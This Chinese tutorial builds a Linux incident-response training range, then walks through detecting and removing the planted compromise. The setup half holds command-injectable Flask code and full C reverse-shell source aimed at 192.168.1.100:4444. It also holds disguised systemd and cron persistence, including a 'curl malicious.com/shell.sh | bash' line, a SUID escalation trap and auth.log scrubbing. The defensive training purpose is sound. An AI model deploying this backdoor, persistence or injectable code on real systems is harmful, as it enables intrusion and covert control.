1. 项目概述:为什么我们需要一个“知攻善防”的靶场?
在网络安全领域,尤其是负责服务器运维和应急响应的工程师,常常面临一个尴尬的局面:理论学了一大堆,各种攻击手法、日志分析、入侵排查的步骤倒背如流,但真当告警响起,面对一台可能被入侵的Linux服务器时,大脑却容易一片空白。命令敲下去没反应?日志文件被清空了?进程隐藏了怎么办?这种“纸上谈兵”的无力感,是每个从业者从新手走向资深必须跨越的鸿沟。
“知攻善防”这四个字,精准地道出了安全能力的核心闭环。你不知道攻击者怎么进来,就永远不知道该如何有效地防守。一个静态的、功能单一的靶场(比如只练SQL注入或文件上传)远远不够。我们需要的是一个动态的、贴近真实攻防对抗环境的“活”靶场。这个靶场能模拟攻击者从外网渗透到内网横向移动,最终获取权限(也就是拿到flag)的完整链条;同时,也要求防守方(也就是我们)能够循着攻击者留下的蛛丝马迹,完成从事件发现、分析、遏制到根除恢复的全过程应急响应。
这就是我动手搭建这个“Linux应急响应实战靶场”的初衷。它不是一个简单的漏洞集合,而是一个完整的攻防演练环境。我会从一台干净的Linux服务器(这里以Ubuntu 22.04为例)开始,逐步部署一个存在漏洞的Web应用,模拟攻击者利用漏洞植入后门、提权、建立持久化通道的过程,并在这个过程中故意留下各种“痕迹”。而你的任务,就是扮演应急响应工程师,利用Linux系统自身的工具链,找到这些痕迹,分析攻击路径,并最终定位到攻击者隐藏的flag。文末我会附上完整的flag攻略,但强烈建议你先独立尝试,因为排查过程本身的价值,远大于那个最终的字符串。
2. 靶场整体设计与核心思路拆解
2.1 设计目标与场景还原
这个靶场的核心目标是高度模拟一次真实的、中等复杂度的Linux服务器入侵事件。在设计上,我遵循了以下几个原则:
- 攻击链完整:覆盖从Web漏洞利用、到权限获取、再到权限维持和痕迹清理的常见攻击阶段。
- 痕迹真实多样:攻击行为会在系统日志、进程、文件、网络连接等多个维度留下痕迹,而不是单一的证据点。
- 防御视角出发:所有设置的漏洞点和后门,都是应急响应中需要排查的经典场景,如异常计划任务、隐藏进程、SUID提权文件等。
- 可复现与可扩展:使用脚本化方式搭建,确保环境一致。同时,结构清晰,你可以很容易地在此基础上添加新的攻击场景或防御检查点。
我设计的攻击故事线大致如下:
攻击者通过一个存在命令注入漏洞的Web应用(模拟一个简单的服务器状态查询页面),成功在服务器上执行了命令。他首先下载了一个二进制后门程序,并将其设置为开机自启。接着,他利用一个配置错误的SUID程序进行本地提权,获取了
root权限。为了持久化,他创建了隐藏的计划任务和系统服务,并清理了部分访问日志。最终,他将代表胜利的flag文件,隐藏在了系统某个经过伪装的目录中。
你的应急响应故事线则是逆向的:从发现异常(例如CPU异常、可疑网络连接)开始,调查进程、检查文件完整性、分析日志、排查自启动项,一步步追溯,直到找到攻击源头和隐藏的flag。
2.2 技术栈与工具选型
为了贴近实战,本靶场尽量使用操作系统原生工具和常见开源软件,避免引入复杂的商业安全产品,这更能体现一个工程师的基础功底。
- 靶机系统:Ubuntu 22.04 LTS。选择它是因为其广泛的用户基础和稳定的长期支持。其使用的
systemd、journalctl、apt等也是当前主流Linux发行版的标配。 - 漏洞应用:一个用Python
Flask框架编写的简单Web应用。它包含一个命令注入漏洞点。选择Flask是因为它轻量、常见,漏洞代码一目了然。 - 攻击载荷:
- 后门程序:用一个简单的C语言编写的反向Shell客户端模拟。它会被编译成二进制文件,比脚本更难被静态查杀。
- 提权载体:利用一个自带SUID权限的、可写自定义配置的C程序。这是Linux提权中非常经典的“环境变量劫持”或“库文件劫持”场景。
- 应急响应工具:主要依赖Linux自带命令。
- 进程与网络:
ps,top,netstat/ss,lsof - 文件与搜索:
find,stat,ls,file,strings,grep - 日志分析:
journalctl,cat,tail,grep(用于/var/log/下的各种日志) - 用户与权限:
who,w,last,lastb,id,ls -la - 自启动项:
systemctl,crontab -l, 检查/etc/cron.*,~/.config/autostart/等目录。 - 系统信息:
uname -a,df -h,free -m
- 进程与网络:
为什么这样选型?在真实的应急响应中,尤其是突发现场,你很可能没有现成的HIDS(主机入侵检测系统)或EDR(端点检测与响应)工具。熟练掌握这一套原生工具链,是安全工程师的“生存技能”。它们可能没有图形界面,效率看似不高,但却是最可靠、最底层的信息来源。
3. 靶场搭建:从零构造一个“被入侵”的环境
现在,我们开始动手搭建靶场。请准备一个干净的Ubuntu 22.04虚拟机(物理机亦可),并确保有sudo权限。
3.1 基础环境与漏洞应用部署
首先,更新系统并安装必要的软件包:
sudo apt update && sudo apt upgrade -y sudo apt install -y python3 python3-pip gcc make net-tools接着,创建我们的漏洞Web应用。在工作目录(例如/opt/vuln_app)下进行操作:
sudo mkdir -p /opt/vuln_app cd /opt/vuln_app创建应用文件app.py:
from flask import Flask, request, render_template_string import subprocess, os app = Flask(__name__) # 一个极其危险的存在命令注入漏洞的页面 @app.route('/ping', methods=['GET', 'POST']) def ping(): output = "" if request.method == 'POST': host = request.form.get('host', '127.0.0.1') # 致命漏洞点:未对用户输入做任何过滤,直接拼接进命令 cmd = f"ping -c 2 {host}" try: # 使用shell=True,加剧了命令注入的风险 result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5) output = result.stdout + result.stderr except subprocess.TimeoutExpired: output = "Command timed out." # 简单的HTML表单 html_form = ''' <form method="post"> <input type="text" name="host" placeholder="Enter host to ping" value="127.0.0.1"> <input type="submit" value="Ping!"> </form> <pre>{{ output }}</pre> ''' return render_template_string(html_form, output=output) if __name__ == '__main__': # 警告:切勿在生产环境如此运行! app.run(host='0.0.0.0', port=5000, debug=False)安装Flask并以后台方式运行这个危险的应用:
sudo pip3 install flask sudo nohup python3 app.py > /tmp/flask.log 2>&1 &现在,访问http://<你的靶机IP>:5000/ping,你应该能看到一个简单的ping测试页面。正常情况下,输入IP地址会返回ping的结果。但如果我们输入127.0.0.1; id,就会看到当前运行Web服务的用户信息(通常是www-data或nobody),这证实了命令注入漏洞的存在。
3.2 模拟攻击:植入后门与提权
现在,我们扮演攻击者,利用这个漏洞做几件事。
第一步:制造后门程序在/tmp目录下,创建一个简单的反向Shell后门源码backdoor.c:
#include <stdio.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> #include <stdlib.h> int main() { int sock; struct sockaddr_in server; char *ip = "192.168.1.100"; // 假设的攻击者控制端IP,实战中需替换 int port = 4444; sock = socket(AF_INET, SOCK_STREAM, 0); server.sin_family = AF_INET; server.sin_port = htons(port); server.sin_addr.s_addr = inet_addr(ip); connect(sock, (struct sockaddr *)&server, sizeof(server)); dup2(sock, 0); // 标准输入 dup2(sock, 1); // 标准输出 dup2(sock, 2); // 标准错误 execve("/bin/sh", NULL, NULL); return 0; }编译它,并故意去掉一些符号信息,增加分析难度:
cd /tmp gcc -o .hidden_bd backdoor.c -static strip .hidden_bd # 剥离调试符号第二步:利用漏洞下载并隐藏后门我们通过Web漏洞执行命令,将后门移动到更隐蔽的位置,并设置权限。假设我们已经通过漏洞拿到了一个shell(模拟场景),执行:
# 移动并重命名后门,试图隐藏 sudo mv /tmp/.hidden_bd /usr/local/bin/systemd-helper sudo chmod 755 /usr/local/bin/systemd-helper # 创建一个systemd服务单元文件,实现持久化 sudo bash -c 'cat > /etc/systemd/system/network-optimize.service << EOF [Unit] Description=Network Optimization Service After=network.target [Service] Type=simple ExecStart=/usr/local/bin/systemd-helper Restart=always RestartSec=10 User=root [Install] WantedBy=multi-user.target EOF' sudo systemctl daemon-reload sudo systemctl enable --now network-optimize.service注意:这里我们直接用了
sudo,模拟的是攻击者通过某种方式(比如利用另一个漏洞)已经获取了sudo权限。在实际靶场搭建中,你可能需要先利用一个SUID提权漏洞(下一步)来获得root权限。
第三步:设置SUID提权陷阱创建一个有问题的C程序/opt/vuln_app/suid_exploit.c:
#include <stdlib.h> #include <stdio.h> int main() { printf("Running system diagnostics...\n"); // 危险:使用system调用,且受环境变量影响 system("echo $USER"); return 0; }编译并设置SUID位:
cd /opt/vuln_app gcc -o diagnostics suid_exploit.c sudo chown root:root diagnostics sudo chmod 4755 diagnostics # 设置SUID位这个程序的危险之处在于,它调用了system(“echo $USER”)。system()函数会启动一个shell来执行命令,而shell会读取环境变量$PATH。如果攻击者能控制程序运行时的环境变量(例如通过另一个漏洞),他就可以劫持echo命令的路径,让其执行任意命令。这是非常经典的提权向量。
第四步:创建隐藏的计划任务攻击者通常会增加计划任务来保持访问。我们创建一个在特定时间运行,或者每分钟运行的后门任务,并试图隐藏:
# 在root的crontab里添加一项 (sudo crontab -l 2>/dev/null; echo "* * * * * /usr/local/bin/systemd-helper > /dev/null 2>&1") | sudo crontab - # 或者在系统cron目录下放一个文件 sudo bash -c 'echo "* * * * * root curl -s http://malicious.com/shell.sh | bash" > /etc/cron.daily/backup-job' sudo chmod 644 /etc/cron.daily/backup-job第五步:清理部分日志(但留下破绽)一个狡猾的攻击者会清理日志。我们模拟他清理了Web访问日志中与漏洞利用相关的行,但可能漏掉其他日志:
# 假设我们的攻击IP是192.168.1.100,清理auth.log中的相关行 sudo sed -i '/192.168.1.100/d' /var/log/auth.log # 但syslog或journal里可能还有痕迹第六步:放置最终的Flag最后,攻击者将flag文件藏在一个需要动脑筋才能找到的地方。例如,利用ls命令不显示以.开头的文件这一特性,以及文件名的伪装:
sudo mkdir -p /usr/share/man/man1/ # 一个看起来正常的系统目录 sudo sh -c 'echo "flag{th1s_1s_y0ur_f1rst_3m3rg3ncY_r3sp0ns3_fl4g}" > /usr/share/man/man1/..hidden_flag.txt' # 注意文件名是 `..hidden_flag.txt`,当你在man1目录下执行`ls`时,由于文件名以`..`开头,它不会直接显示。需要`ls -a`才能看到。至此,一个包含漏洞、后门、提权陷阱、持久化机制和隐藏flag的“被入侵”Linux靶场就搭建完成了。环境中的“异常”已经悄然存在。
4. 应急响应实战:系统性排查与痕迹分析
现在,切换角色,你是一名接到告警的应急响应工程师。假设你通过监控发现服务器5000端口有异常访问,CPU在非高峰时段有不明进程占用。请开始你的调查。
4.1 初步信息收集与系统快照
首先,不要慌,也不要急着去杀进程或删文件。第一步是尽可能全面地收集系统当前状态,建立一个“基线”,以便后续对比和分析。
# 1. 系统基本信息 uname -a cat /etc/os-release # 2. 当前登录用户与历史 who w last | head -20 # 查看近期成功登录记录 lastb | head -20 # 查看失败登录记录(如果启用) # 3. 进程快照 ps auxf > /tmp/process_snapshot.txt top -b -n 1 > /tmp/top_snapshot.txt # 4. 网络连接快照 netstat -tunap > /tmp/netstat_snapshot.txt # 或者使用更现代的ss命令 ss -tunap > /tmp/ss_snapshot.txt # 5. 自启动项快照 systemctl list-unit-files --state=enabled > /tmp/systemd_enabled.txt sudo crontab -l > /tmp/cron_root.txt 2>/dev/null ls -la /etc/cron.* > /tmp/cron_dirs.txt ls -la /var/spool/cron/crontabs/ > /tmp/cron_user.txt 2>/dev/null # 6. 关键目录文件列表(用于后续对比) ls -la /tmp/ /var/tmp/ /dev/shm/ > /tmp/temp_dirs.txt ls -la /usr/local/bin/ /usr/local/sbin/ > /tmp/usr_local_bin.txt将这些快照保存好。它们是你调查的起点,也可能成为事后取证的证据。
4.2 深入排查:由表及里的四层分析法
我习惯用“网络-进程-文件-日志”四层分析法,像剥洋葱一样层层深入。
第一层:网络连接分析查看所有网络连接,寻找可疑的IP和端口。重点关注ESTABLISHED状态的连接,特别是外连到不常见端口的。
sudo netstat -tunap | grep ESTABLISHED # 或 sudo ss -tunap state established在我们的靶场中,你可能会发现一个到192.168.1.100:4444的TCP连接,对应的进程是systemd-helper或/usr/local/bin/systemd-helper。这非常可疑,一个名为“系统助手”的程序在向外连接一个高端口。
排查技巧:对于不认识的进程,立刻用
ps aux | grep <PID>查看其详细信息,并用ls -la /proc/<PID>/exe查看其真实的执行文件路径。
第二层:进程与资源分析使用top或htop查看实时进程。除了看CPU/内存,更要关注COMMAND列的命令行是否异常。
ps aux --sort=-%cpu | head -10 # 查看CPU占用前十 ps aux --sort=-%mem | head -10 # 查看内存占用前十查找异常进程的特征:
- 进程名伪装:像
systemd-helper、kernel\_worker、nginx\_back等,模仿系统进程。 - 命令行参数异常:例如一个
/bin/sh进程带有奇怪的-c参数后面跟着一长串编码过的命令。 - 父子关系异常:一个Web服务进程(如
python3)下面挂着一个/bin/bash子进程。
找到可疑进程后,深入其运行环境:
# 假设可疑PID是 1234 ls -la /proc/1234/exe # 查看真实可执行文件 ls -la /proc/1234/cwd # 查看进程工作目录 cat /proc/1234/environ | tr '\0' '\n' # 查看进程环境变量(可能发现PATH被篡改) lsof -p 1234 # 查看进程打开的所有文件第三层:文件系统与权限排查攻击者一定会留下文件。从可疑进程对应的可执行文件开始顺藤摸瓜。
检查可疑文件:
file /usr/local/bin/systemd-helper # 查看文件类型 strings /usr/local/bin/systemd-helper | head -30 # 查看文件中的字符串,可能发现IP、端口 ls -la /usr/local/bin/systemd-helper # 查看详细属性、时间戳查找近期被修改的可执行文件:
# 查找过去7天内被修改的,且是可执行的文件 sudo find /usr/bin /usr/sbin /usr/local/bin /bin /sbin -type f -perm /111 -mtime -7 2>/dev/null # 查找所有SUID/SGID文件(提权重点检查对象) sudo find / -type f -perm /4000 -o -perm /2000 2>/dev/null | grep -v proc在我们的靶场中,
/usr/local/bin/systemd-helper和/opt/vuln_app/diagnostics都会被找出来。diagnostics的SUID权限和普通用户可写的特性(如果所在目录权限不当)就是重大疑点。查找隐藏文件和异常位置的文件:
# 查找以`.`开头的隐藏文件(非用户home目录下的) sudo find / -name “.*” -type f 2>/dev/null | grep -v “/home/” | grep -v “/root/” | grep -v “/proc/” | grep -v “/sys/” # 检查/tmp, /var/tmp, /dev/shm下的异常文件 ls -la /tmp/ /var/tmp/ /dev/shm/这里,通过
find命令,结合grep -v排除正常目录,你可能最终会发现/usr/share/man/man1/..hidden_flag.txt这个文件。
第四层:日志分析日志是还原攻击时间线的关键。即使被清理,也可能有残留或在其他日志中有记录。
检查系统日志(systemd journal):
sudo journalctl -xe --since “2 hours ago” # 查看最近2小时的详细日志 sudo journalctl _PID=1234 # 查看特定进程的日志 sudo journalctl | grep -i “fail\|error\|invalid\|attack” # 搜索关键词你可能发现
network-optimize.service启动失败的记录(因为我们的后门连接不上控制端),或者有关于sudo、cron执行异常的信息。检查认证日志:
sudo cat /var/log/auth.log | tail -50 sudo grep -i “accepted\|failed\|invalid” /var/log/auth.log虽然我们模拟清理了部分记录,但如果攻击者是用密码爆破进来的,这里可能会有大量
Failed password的记录。同时,检查是否有异常的sudo命令执行或用户切换。检查Web应用日志: 我们的Flask应用日志在
/tmp/flask.log。查看它:tail -f /tmp/flask.log # 或者搜索包含分号`;`、管道`|`、反引号“`”的请求,这些常是命令注入的特征。 grep “[;|\`]” /tmp/flask.log这里你能清晰地看到攻击者输入的
127.0.0.1; id等恶意payload,这是攻击的起点。检查cron日志:
sudo grep CRON /var/log/syslog可以查看计划任务的执行情况。
4.3 入侵确认与遏制措施
通过以上排查,你应该能确认以下几点:
- 攻击入口:
/opt/vuln_app/app.py存在命令注入漏洞。 - 后门程序:
/usr/local/bin/systemd-helper,并通过network-optimize.service持久化。 - 提权隐患:
/opt/vuln_app/diagnostics(SUID文件)。 - 持久化任务:root的crontab中有一项,以及
/etc/cron.daily/backup-job文件。 - 攻击成果:隐藏的flag文件
/usr/share/man/man1/..hidden_flag.txt。
立即采取的遏制措施:
- 隔离网络:如果可能,将机器从网络断开,或通过防火墙阻断可疑外连IP(如
192.168.1.100)。 - 终止恶意进程:
sudo kill -9 <systemd-helper的PID> sudo systemctl stop network-optimize.service sudo systemctl disable network-optimize.service - 清除持久化项:
sudo rm /etc/systemd/system/network-optimize.service sudo systemctl daemon-reload sudo crontab -r # 删除root的crontab,谨慎操作!最好先备份或编辑删除特定行。 sudo rm /etc/cron.daily/backup-job - 修复漏洞与清除后门:
# 1. 关闭漏洞应用 pkill -f “python3 app.py” # 2. 删除后门文件 sudo rm /usr/local/bin/systemd-helper # 3. 移除危险的SUID文件 sudo rm /opt/vuln_app/diagnostics # 4. (关键)修复app.py中的命令注入漏洞!例如使用shlex.quote过滤输入,或使用subprocess.run的列表参数形式避免shell。 - 提取证据:将之前收集的快照、可疑文件、日志片段备份到安全位置,供后续深度分析或上报。
- 找到Flag:最后,去获取你的战利品。
sudo cat /usr/share/man/man1/..hidden_flag.txt
5. 常见问题排查与高阶技巧实录
在实际应急响应中,情况往往更复杂。下面分享一些我踩过的坑和总结的技巧。
5.1 当进程被隐藏或改名
高级攻击者会使用LD_PRELOAD劫持、内核模块等方式隐藏进程。此时,常规ps和top可能看不到。
- 检查
/proc目录:/proc是内核暴露的进程信息接口,难以完全隐藏。可以对比ps输出的PID列表和/proc下的数字目录列表。
如果ls -d /proc/[0-9]* | cut -d/ -f3 | sort -n > /tmp/proc_pids.txt ps aux | awk ‘{print $2}’ | sort -n > /tmp/ps_pids.txt diff /tmp/proc_pids.txt /tmp/ps_pids.txt/proc中有某个PID,但ps里没有,这个进程就非常可疑。 - 使用
unhide等工具:sudo apt install unhide,然后运行sudo unhide proc来检测被隐藏的进程。
5.2 当文件被删除但进程仍在运行
如果后门文件被删除了,但进程还没结束,你仍然可以通过/proc/<PID>/exe恢复它。
# 假设可疑PID是 5678 sudo cp /proc/5678/exe /tmp/malware_restored sudo file /tmp/malware_restored sudo strings /tmp/malware_restored这个恢复出来的文件就是内存中进程映像的副本,是极佳的分析样本。
5.3 当日志被彻底清空或篡改
- 查看日志文件的inode变化:如果日志文件被
> logfile的方式清空,文件inode可能不变,但旧数据可能还在磁盘上,可用foremost、scalpel等工具尝试恢复。如果被rm后新建,inode会变。ls -i /var/log/auth.log # 查看inode号 - 检查其他日志源:系统不止一个日志。除了
/var/log/,别忘了journalctl。此外,网络设备日志、上游防火墙或WAF日志、应用自身的审计日志,都可能提供交叉验证。 - 基于时间线的行为分析:如果关键日志缺失,就依靠其他证据构建时间线。比如,结合文件修改时间(
mtime)、进程启动时间(ps -o lstart)、网络连接建立时间等,推断攻击发生的时间窗口。
5.4 SUID提权漏洞的深度检查
我们的靶场只是一个简单的例子。现实中,检查SUID文件要深入得多:
- 检查文件本身是否可写:
find / -type f -perm /4000 -exec ls -la {} \; 2>/dev/null,看属主和权限。 - 检查文件所在目录是否可写:如果目录可写,攻击者可以替换SUID文件。
find / -type f -perm /4000 2>/dev/null | xargs dirname | sort -u | while read dir; do ls -ld “$dir”; done - 分析SUID文件的逻辑:用
strings、ltrace、strace工具分析它调用了哪些库、执行了哪些命令。寻找像system()、popen()、exec()这类调用外部命令的函数,以及是否使用了相对路径或受用户控制的环境变量。
5.5 排查脚本与自动化思路
对于需要定期巡检的多台服务器,可以编写简单的排查脚本,关键检查点包括:
#!/bin/bash # 简易应急响应检查脚本 echo “=== 系统信息 ===" uname -a echo “” echo “=== 网络连接 (ESTABLISHED) ===" ss -tunap state established echo “” echo “=== 异常监听端口 ===" ss -tunlp | grep -v “127.0.0.1” | grep -v “::1” echo “” echo “=== 新增的SUID/SGID文件 (对比基线) ===" # 这里需要有一份干净的基线文件列表进行对比 find / -type f -perm /6000 2>/dev/null | sort > /tmp/suid_now.txt # comm -23 /tmp/suid_now.txt /path/to/baseline_suid.txt echo “” echo “=== 系统服务状态 ===" systemctl list-units --type=service --state=running echo “” echo “=== Root的Cron任务 ===" crontab -l 2>/dev/null将脚本的输出与已知的正常基线进行对比,可以快速发现异常。
搭建这个靶场并走完一遍完整的应急响应流程,相当于亲手导演并侦破了一起“安全事件”。你会发现,很多命令不再是孤立的知识点,而是在一个具体上下文中有血有肉的工具。真正的防御能力,就来源于这种对攻击者视角和手法的深刻理解,以及通过无数次演练形成的、肌肉记忆般的排查流程。flag只是通关的证明,而沿途解锁的每一个“为什么”和“怎么办”,才是这个靶场带给你的真正财富。你可以基于这个框架,不断加入新的攻击场景(如挖矿木马、Webshell、Rootkit),让这个“知攻善防”的循环持续运转下去。